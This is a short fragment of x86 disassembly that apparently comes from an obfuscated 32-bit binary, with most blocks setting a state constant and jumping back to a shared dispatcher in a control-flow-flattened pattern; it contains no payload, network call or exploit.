mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x104], 0x75ac661d
jmp 0x100087da
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x104], 0x4f98c243
jmp 0x100087da
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x104], 0xc591da88
jmp 0x100087da
mov dword [ebp - 0x104], 0x131c5065
jmp 0x100087da
mov eax, dword [ebp - 0xfc]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x104], 0xd4072791
jmp 0x100087da
mov dword [ebp - 0x104], 0x56f95725
jmp 0x100087da
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x104], 0x81f8b3c9
jmp 0x100087da
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x104], 0x4eb01f18
jmp 0x100087da
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x104], 0x484e6bab
jmp 0x100087da
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
add ecx, 0x12f8e885
add ecx, eax
sub ecx, 0x12f8e885
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0x104], 0x15c938e8
jmp 0x100087da
jmp 0x10005f1f